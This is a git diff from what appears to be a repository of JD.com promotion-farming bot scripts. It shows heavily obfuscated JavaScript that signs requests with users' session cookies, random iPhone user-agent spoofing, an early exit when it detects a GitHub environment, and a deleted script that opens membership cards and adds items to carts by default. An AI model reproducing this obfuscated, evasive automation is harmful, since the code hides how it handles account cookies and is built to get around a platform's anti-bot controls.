_0x407fda='actid'+actid+_0x439a('‫6d','AeLG')+$['buyernick']+_0x439a('‫6e','aGmL')+_0x1ed6c7+_0x439a('‫6f','Libh')+_0x39a66e;let _0x2643d4=$[_0x439a('‫70','PRx!')]['HmacSHA256'](_0x407fda,_0x4fabea[_0x439a('‫71','Y4uG')])['toString']($[_0x439a('‮72','$uOS')][_0x439a('‫73','&c78')][_0x439a('‫74','yhq]')]);let _0x59c404={'appJsonParams':{'id':actid,'userId':0x3b9c196c,..._0xcdfb93},'sysParams':{'sign':_0x2643d4,'timestamp':_0x39a66e,'sysmethod':_0x1ed6c7,'actid':actid}};if($[_0x439a('‮75','wbTW')]){if(_0x439a('‮76','Ad2s')===_0x439a('‫77','BNOx')){_0x59c404[_0x4fabea['sGoSQ']][_0x4fabea['MaKVH']]=$[_0x439a('‮78','gR6!')];}else{range=Math[_0x439a('‫79','FAA%')](_0x4fabea['swgFy'](_0x4fabea[_0x439a('‮7a','YgG(')](Math[_0x439a('‫7b','76qP')](),_0x4fabea[_0x439a('‫7c','YgG(')](max-min,0x1)),min));}}let _0x1e3efb={'url':'https://hdb-isv.isvjcloud.com/front/'+_0x181373,'body':JSON[_0x439a('‮7d','AeLG')](_0x59c404),'headers':{'Host':_0x439a('‮7e','OX4y'),'Connection':_0x4fabea[_0x439a('‮7f','0o2w')],'Content-Length':JSON[_0x439a('‫80','uWtj')](_0x59c404)[_0x439a('‮81','Fynm')],'Accept':_0x4fabea[_0x439a('‮82','jCTB')],'X-Requested-With':_0x4fabea[_0x439a('‮83','8!x)')],'User-Agent':$['UA'],'Content-Type':_0x439a('‫84','%v2i'),'Origin':_0x4fabea[_0x439a('‮85','&km3')],'Sec-Fetch-Site':_0x4fabea[_0x439a('‮86','@uTk')],'Sec-Fetch-Mode':_0x4fabea[_0x439a('‫87','jCTB')],'Sec-Fetch-Dest':'empty','Referer':$['thisActivityUrl'],'Accept-Encoding':_0x4fabea[_0x439a('‮88','%@ek')],'Accept-Language':_0x4fabea[_0x439a('‫89','uWtj')],'Cookie':''+$[_0x439a('‮8a','gR6!')]}};return new Promise(_0x119f70=>{var _0x41dc7e={'fhqnb':function(_0x4a46f,_0x3f0cb0){return _0x4fabea[_0x439a('‫8b','Y4uG')](_0x4a46f,_0x3f0cb0);},'nyOFf':function(_0x550158,_0x8c2c92){return _0x4fabea[_0x439a('‮8c','^dJT')](_0x550158,_0x8c2c92);},'bIBPY':function(_0x5c5ae3,_0x4f9e42){return _0x4fabea[_0x439a('‫8d','AEKg')](_0x5c5ae3,_0x4f9e42);},'YFEpr':_0x4fabea[_0x439a('‫8e','76qP')],'ubcKn':function(_0x2b000f,_0x55ed57){return _0x4fabea[_0x439a('‮8f','0o2w')](_0x2b000f,_0x55ed57);},'NvvjQ':_0x4fabea[_0x439a('‫90','xfr8')],'zTcuo':function(_0x37b258,_0x411555){return _0x4fabea[_0x439a('‮91','sW5d')](_0x37b258,_0x411555);},'GNFDY':_0x4fabea[_0x439a('‮92','YgG(')]};if('qGOmp'!==_0x4fabea[_0x439a('‫93','6u(!')]){$[_0x439a('‫94','qbyR')](_0x1e3efb,async(_0x537d5c,_0xfbffe8,_0x2c4a4c)=>{var _0xba7ccc={'YZxTD':function(_0x145cd8,_0x37b02a){return _0x41dc7e[_0x439a('‫95','wbTW')](_0x145cd8,_0x37b02a);},'BNEqs':_0x439a('‮96','meTw'),'BZCip':function(_0x3ff9ca,_0x2ccc6e){return _0x41dc7e[_0x439a('‮97','Ad2s')](_0x3ff9ca,_0x2ccc6e);}};if(_0x439a('‫98','ir3f')!==_0x439a('‫98','ir3f')){_0x2c4a4c=JSON[_0x439a('‮99','wbTW')](_0x2c4a4c);}else{try{dealCK(_0xfbffe8);if(_0x41dc7e['bIBPY'](_0x537d5c,!_0x2c4a4c)){}else{if(_0x41dc7e['YFEpr']==='AAAuB'){let _0x3ee593=setcookie['filter'](_0x4134a7=>_0x4134a7['indexOf'](_0x439a('‫9a','Libh'))!==-0x1)[0x0];if(_0x3ee593&&_0xba7ccc['YZxTD'](_0x3ee593['indexOf'](_0xba7ccc['BNEqs']),-0x1)){$[_0x439a('‮9b','cvuO')]=_0x3ee593[_0x439a('‮9c','Fynm')](';')&&_0xba7ccc[_0x439a('‫9d','$w&8')](_0x3ee593[_0x439a('‮9e','ir3f')](';')[0x0],';')||'';}}else{_0x2c4a4c=JSON[_0x439a('‫9f','%v2i')](_0x2c4a4c);}}}catch(_0x3f581f){}finally{if(_0x41dc7e['ubcKn'](_0x41dc7e['NvvjQ'],_0x41dc7e['NvvjQ'])){$[_0x439a('‮a0','KFS(')]=token[_0x439a('‮9e','ir3f')](';')&&_0x41dc7e[_0x439a('‮a1','meTw')](token['split'](';')[0x0],';')||'';}else{_0x41dc7e[_0x439a('‮a2','&km3')](_0x119f70,_0x2c4a4c[_0x41dc7e[_0x439a('‮a3','0o2w')]]||'');}}}});}else{$[_0x439a('‮a4','6u(!')]();}});}function dealCK(_0x1b1928){var _0x471f2f={'OzZDN':'headers','rOqez':_0x439a('‫a5','sW5d'),'YMZXR':function(_0x37c9a7,_0x23a0d8){return _0x37c9a7!==_0x23a0d8;},'AeYlm':'qhVUW','kDnjW':'IeozA','GSiDP':function(_0x3d30e5,_0x2d2cd6){return _0x3d30e5>_0x2d2cd6;},'ZGCpr':_0x439a('‫a6','yhq]'),'lFrEG':function(_0x2c568c,_0x46923b){return _0x2c568c+_0x46923b;}};if(_0x1b1928===undefined){return;}let _0x16548c=_0x1b1928[_0x471f2f['OzZDN']][_0x471f2f[_0x439a('‮a7','nSAm')]]||_0x1b1928[_0x439a('‫a8','sW5d')][_0x439a('‮a9','%v2i')]||'';if(_0x16548c){if(_0x471f2f['YMZXR'](_0x471f2f[_0x439a('‮aa','$uOS')],_0x471f2f[_0x439a('‮ab','F*6W')])){let _0x47531a=_0x16548c[_0x439a('‫ac','YgG(')](_0x3683fd=>_0x3683fd[_0x439a('‫ad','K2VR')]('dm_fans')!==-0x1)[0x0];if(_0x47531a&&_0x471f2f[_0x439a('‫ae','%@ek')](_0x47531a['indexOf'](_0x471f2f['ZGCpr']),-0x1)){$[_0x439a('‮af','F*6W')]=_0x47531a[_0x439a('‫b0','0o2w')](';')&&_0x471f2f['lFrEG'](_0x47531a[_0x439a('‫b1','AEKg')](';')[0x0],';')||'';}}else{if(err){$[_0x439a('‫b2','F*6W')]=![];}else{data=JSON[_0x439a('‫b3','Jck%')](data);}}}}async function getToken(){var _0x234300={'sexjK':_0x439a('‫b4','F4PB'),'tHAWX':function(_0x41a910,_0x2a8539){return _0x41a910===_0x2a8539;},'TzZYF':_0x439a('‮b5','jCTB'),'efKGw':_0x439a('‮b6','cvuO'),'AMXya':_0x439a('‮b7','Jck%'),'VtaoD':function(_0x4e5f60,_0x3ef422){return _0x4e5f60(_0x3ef422);},'kwxrb':function(_0x393968,_0x55d9b9){return _0x393968-_0x55d9b9;},'GSkyH':function(_0x2165e3,_0x37e5be){return _0x2165e3**_0x37e5be;},'iADKx':function(_0x30ab4c,_0x2732a){return _0x30ab4c+_0x2732a;},'cKBmW':function(_0x15a99e,_0x3e6030){return _0x15a99e*_0x3e6030;},'AfWZJ':function(_0x517a94,_0x3764b6){return _0x517a94!==_0x3764b6;},'cNGJr':'MNjci','SJfBJ':_0x439a('‮b8','Fynm'),'jkmTA':'*/*','VqgGi':'zh-Hans-JP;q=1,\x20en-JP;q=0.9,\x20zh-Hant-TW;q=0.8,\x20ja-JP;q=0.7,\x20en-US;q=0.6','qiZNJ':'application/x-www-form-urlencoded'};let _0x4e082b={'url':_0x234300[_0x439a('‮b9','bnEt')],'body':$[_0x439a('‫ba','%@ek')],'headers':{'Host':'api.m.jd.com','accept':_0x234300[_0x439a('‮bb','8!x)')],'user-agent':_0x439a('‫bc','$w&8'),'accept-language':_0x234300[_0x439a('‫bd','AEKg')],'content-type':_0x234300['qiZNJ'],'Cookie':$[_0x439a('‮be','YgG(')]}};return new Promise(_0x130338=>{var _0x3cde94={'TRcuW':function(_0x409563,_0x5e16f7){return _0x234300[_0x439a('‫bf','ZS6b')](_0x409563,_0x5e16f7);},'xXtwM':function(_0x415da8,_0x11df80){return _0x234300['GSkyH'](_0x415da8,_0x11df80);},'aZxvQ':function(_0x1ee927,_0x40fff8){return _0x234300[_0x439a('‫c0','yhq]')](_0x1ee927,_0x40fff8);},'idEdr':function(_0x13e56b,_0x52d6f3){return _0x234300[_0x439a('‮c1','NhDb')](_0x13e56b,_0x52d6f3);}};if(_0x234300['AfWZJ'](_0x234300['cNGJr'],_0x439a('‫c2','YgG('))){$[_0x439a('‫c3','BqFC')](_0x4e082b,async(_0x4742d1,_0x22bf1e,_0x306a7b)=>{var _0x52b76e={'ftOSS':_0x234300['sexjK']};if(_0x234300['tHAWX'](_0x234300[_0x439a('‮c4','%v2i')],_0x234300['efKGw'])){body['sysParams'][_0x52b76e[_0x439a('‫c5','Fynm')]]=$['buyernick'];}else{try{if(_0x4742d1){$['getTokenErr']=![];}else{if(_0x439a('‮c6','YgG(')!==_0x234300[_0x439a('‫c7','AEKg')]){_0x306a7b=JSON['parse'](_0x306a7b);}else{return;}}}catch(_0x460040){}finally{_0x234300[_0x439a('‮c8','ZS6b')](_0x130338,_0x306a7b['token']||'');}}});}else{if(arguments[_0x439a('‮c9','&c78')]===0x0)return Math[_0x439a('‮ca','6u(!')]();if(!max)max=_0x3cde94[_0x439a('‫cb','%@ek')](_0x3cde94[_0x439a('‫cc','PRx!')](0xa,_0x3cde94[_0x439a('‮cd','ir3f')](Math['log'](min)*Math['LOG10E'],0x1)|0x0),0x1);return Math[_0x439a('‫ce','BqFC')](_0x3cde94['aZxvQ'](_0x3cde94[_0x439a('‮cf','sW5d')](Math[_0x439a('‮d0','wbTW')](),_0x3cde94['aZxvQ'](_0x3cde94[_0x439a('‮d1','meTw')](max,min),0x1)),min));}});}function getUA(){var _0xd7356c={'mdDEK':function(_0x232594,_0x533760){return _0x232594(_0x533760);},'PwlwH':function(_0x4b8019,_0x1d5613,_0x1b30b5){return _0x4b8019(_0x1d5613,_0x1b30b5);},'dofvE':_0x439a('‮d2','Y4uG'),'WhNVk':function(_0x44a4a9,_0x321007,_0x6f0ae5){return _0x44a4a9(_0x321007,_0x6f0ae5);},'qFqME':_0x439a('‮d3','%v2i'),'GugUX':_0x439a('‮d4','&SCD'),'lnStr':_0x439a('‮d5','%@ek'),'lBvvz':function(_0x3cf947,_0x1e80ea,_0x35ff79){return _0x3cf947(_0x1e80ea,_0x35ff79);}};$[_0x439a('‫d6','$uOS')]=_0xd7356c[_0x439a('‮d7','OX4y')](randomString,0x28);const _0x5422e0={'167814':_0x439a('‮d8','aGmL'),'167841':'10.1.6'};$[_0x439a('‫d9','aGmL')]=randomNum(0xc,0xe)+'.'+_0xd7356c['PwlwH'](randomNum,0x0,0x6);let _0x53bab0=_0x439a('‫da','FAA%')+['4g','5g',_0xd7356c[_0x439a('‫db','cvuO')]][_0xd7356c[_0x439a('‫dc','xfr8')](randomNum,0x0,0x2)];$['mobile']='iPhone'+_0xd7356c[_0x439a('‮dd','%@ek')](randomNum,0x9,0xd)+','+_0xd7356c[_0x439a('‮de','wbTW')](randomNum,0x1,0x3);$['build']=[_0xd7356c['qFqME'],_0xd7356c[_0x439a('‮df','nSAm')],_0xd7356c['lnStr']][_0xd7356c[_0x439a('‮e0','cvuO')](randomNum,0x0,0x1)];$[_0x439a('‫e1','$uOS')]=_0x5422e0[$[_0x439a('‮e2','BNOx')]];return'jdapp;iPhone;'+$[_0x439a('‫e3','Y4uG')]+';'+$[_0x439a('‮e4','FAA%')]+';'+$[_0x439a('‫e5','wbTW')]+';'+_0x53bab0+';model/'+$[_0x439a('‮e6','Fynm')]+_0x439a('‫e7','%@ek')+randomNum(0x3b9aca00)+';appBuild/'+$[_0x439a('‮e8','ZS6b')]+_0x439a('‮e9','%v2i')+$[_0x439a('‮ea','%v2i')][_0x439a('‮eb','&km3')](/\./g,'_')+_0x439a('‮ec','ir3f');}function randomString(_0xbc4769,_0x159ca3=0x0){var _0x2eda33={'lDRcJ':function(_0x218661,_0x2cea9a){return _0x218661(_0x2cea9a);},'MXNBH':_0x439a('‮ed','AeLG'),'LZvax':function(_0x1b0fce,_0x4c5649){return _0x1b0fce*_0x4c5649;},'bVKPx':function(_0x2d904f,_0x419ddb){return _0x2d904f!==_0x419ddb;},'iQJjg':_0x439a('‮ee','F*6W'),'phHyO':_0x439a('‫ef','xfr8'),'pJDLC':function(_0x3e7720,_0x4235cd){return _0x3e7720+_0x4235cd;},'phUVD':function(_0x44e05c,_0x4a8fb3){return _0x44e05c-_0x4a8fb3;},'ejbVF':function(_0x3aa59e,_0xef7fe8){return _0x3aa59e<_0xef7fe8;},'XUrPZ':function(_0x9035a2,_0x140563){return _0x9035a2===_0x140563;},'SNheF':'tppFf','zzrko':_0x439a('‮f0','BqFC'),'NWSKY':function(_0x2f2ca6,_0x59b437){return _0x2f2ca6>_0x59b437;},'LtKlY':function(_0x474404,_0x273767){return _0x474404-_0x273767;},'SDDkc':function(_0x359f10,_0x2ed3f6){return _0x359f10!==_0x2ed3f6;},'oCUgl':_0x439a('‮f1','&SCD'),'eJMLd':_0x439a('‫f2','qbyR'),'YSNCF':function(_0x1473b0,_0x23531f){return _0x1473b0-_0x23531f;}};var _0x3448a2='',_0x489e44=_0xbc4769,_0x475e3b=[...Array(0x23)[_0x439a('‫f3','NhDb')]()][_0x439a('‮f4','AeLG')](_0x18322a=>_0x18322a[_0x439a('‫f5','&c78')](0x24));if(_0x159ca3){if(_0x2eda33[_0x439a('‮f6','OX4y')](_0x2eda33[_0x439a('‮f7','jCTB')],_0x2eda33[_0x439a('‮f8','@uTk')])){_0x489e44=Math[_0x439a('‫f9','F*6W')](_0x2eda33['pJDLC'](_0x2eda33[_0x439a('‫fa','jCTB')](Math['random'](),_0x2eda33[_0x439a('‮fb','^dJT')](_0x2eda33[_0x439a('‮fc','meTw')](_0x159ca3,_0xbc4769),0x1)),_0xbc4769));}else{_0x2eda33[_0x439a('‮fd','Fynm')](resolve,data[_0x2eda33[_0x439a('‮fe','Y4uG')]]||'');}}for(let _0x11f3f4=0x0;_0x2eda33[_0x439a('‮ff','FAA%')](_0x11f3f4,_0x489e44);){if(_0x2eda33[_0x439a('‮100','YgG(')](_0x2eda33['SNheF'],_0x2eda33[_0x439a('‫101','nSAm')])){return Math[_0x439a('‫102','KFS(')](_0x2eda33[_0x439a('‫103','wbTW')](Math[_0x439a('‫104','FAA%')](),_0x159ca3-_0xbc4769))+_0xbc4769;}else{let _0x43a34c=Math[_0x439a('‮105',']acC')]()[_0x439a('‫106','KFS(')](0x10)['substring'](0x2);if(_0x2eda33['NWSKY'](_0x2eda33[_0x439a('‮107','K2VR')](_0x489e44,_0x11f3f4),_0x43a34c[_0x439a('‫108','jCTB')])){_0x3448a2+=_0x43a34c;_0x11f3f4+=_0x43a34c[_0x439a('‫109','%v2i')];}else{if(_0x2eda33[_0x439a('‮10a','Fynm')](_0x2eda33[_0x439a('‮10b','Libh')],_0x2eda33[_0x439a('‮10c','6u(!')])){_0x3448a2+=_0x43a34c['slice'](_0x2eda33[_0x439a('‮10d','jCTB')](_0x11f3f4,_0x489e44));_0x11f3f4+=_0x43a34c['length'];}else{return;}}}}return _0x3448a2;}function randomNum(_0x1a5895,_0x4cdac2){var _0x136839={'VNypN':function(_0x52cd9e,_0x5d801b){return _0x52cd9e===_0x5d801b;},'LnRyt':function(_0x426f49,_0x49c71d){return _0x426f49-_0x49c71d;},'QJAgT':function(_0x1494af,_0x59318c){return _0x1494af+_0x59318c;},'nJLTF':function(_0x56f756,_0x3d4e49){return _0x56f756*_0x3d4e49;},'yKpVO':function(_0x33c5a0,_0x513e4f){return _0x33c5a0+_0x513e4f;},'KuoxV':function(_0x1283f5,_0x1130be){return _0x1283f5*_0x1130be;},'rLicD':function(_0x3d2299,_0x2a6f21){return _0x3d2299+_0x2a6f21;}};if(_0x136839[_0x439a('‮10e','&km3')](arguments[_0x439a('‮10f','OX4y')],0x0))return Math[_0x439a('‫110','&c78')]();if(!_0x4cdac2)_0x4cdac2=_0x136839[_0x439a('‫111','nSAm')](0xa**(_0x136839[_0x439a('‮112','K2VR')](_0x136839['nJLTF'](Math[_0x439a('‫1a','cvuO')](_0x1a5895),Math[_0x439a('‮113','76qP')]),0x1)|0x0),0x1);return Math[_0x439a('‮114','QFny')](_0x136839[_0x439a('‮115','0o2w')](_0x136839[_0x439a('‫116','yhq]')](Math[_0x439a('‫117','&SCD')](),_0x136839[_0x439a('‮118','PRx!')](_0x136839['LnRyt'](_0x4cdac2,_0x1a5895),0x1)),_0x1a5895));}function random(_0xa43fb3,_0x443ac5){var _0x23f5dc={'oobNg':function(_0x3ae583,_0x488457){return _0x3ae583+_0x488457;},'oNMUP':function(_0x45fdc4,_0x4b5bd5){return _0x45fdc4-_0x4b5bd5;}};return _0x23f5dc['oobNg'](Math['floor'](Math[_0x439a('‮119','Fynm')]()*_0x23f5dc[_0x439a('‮11a','Owt5')](_0x443ac5,_0xa43fb3)),_0xa43fb3);};_0xodV='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/jd_xinruimz.js b/jd_xinruimz.js index 0701e57f7..3a2a5c442 100644 --- a/jd_xinruimz.js +++ b/jd_xinruimz.js @@ -14,6 +14,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; let cookiesArr = [], cookie = '', message = ''; let waternum = 0; let exfertilizer = true; +let xinruimz = false; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) @@ -28,6 +29,9 @@ if ($.isNode()) { cookiesArr.reverse(); cookiesArr = cookiesArr.filter(item => !!item); } +if (process.env.xinruimz && process.env.xinruimz != "") { + xinruimz = process.env.xinruimz; +} !(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); @@ -35,6 +39,12 @@ if ($.isNode()) { } UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); for (let i = 0; i < cookiesArr.length; i++) { + if (xinruimz) { + console.log('执行颜究种植园') + } else { + console.log('不执行颜究种植园 请设置环境变量 xinruimz ture') + break; + } UA = `jdapp;iPhone;10.1.6;13.5;${UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; if (cookiesArr[i]) { cookie = cookiesArr[i]; diff --git a/jd_xp.js b/jd_xp.js deleted file mode 100644 index 5cd9614ec..000000000 --- a/jd_xp.js +++ /dev/null @@ -1,3220 +0,0 @@ -/* -默认开卡、加购。 - -小鹏5.18-5.21 -============Quantumultx=============== -[task_local] -#小鹏5.18-5.21 -31 15 18-21 5 * jd_xp.js, tag=小鹏5.18-5.21, enabled=true -*/ - -const $ = new Env('小鹏5.18-5.21'); - -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -allMessage = "" -message = "" -let UA = '' -let configCode = '74e5a50ca1014cdf9e9c7da4a068cc4b' -let friendPin = 't7AkmjBmxFsDeKdkZdzENYVI+useK94bdK5BQ6zjgl4=' -let toFriend = 0 -$.temp = []; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - - $.shareArr = [] - console.log(`入口:\nhttps://u.jd.com/EwHWhGU\n助力好像有问题,不管了`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.index == 1 && !$.pin) break - if($.outFlag) break - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - let arr = getBody($.UA,`https://h5.m.jd.com/babelDiy/Zeus/42CC2AdvzUnXheP1CmTXrm7vHYSp/index.html?code=${configCode}`) - $.fp = arr.fp - await getEid(arr) - toFriend = 0 - $.bean = 0 - if(!$.fp || !$.eid){ - message += `获取活动信息失败!\n` - return - } - await getActivity() - $.taskList = [] - $.pin = '' - await 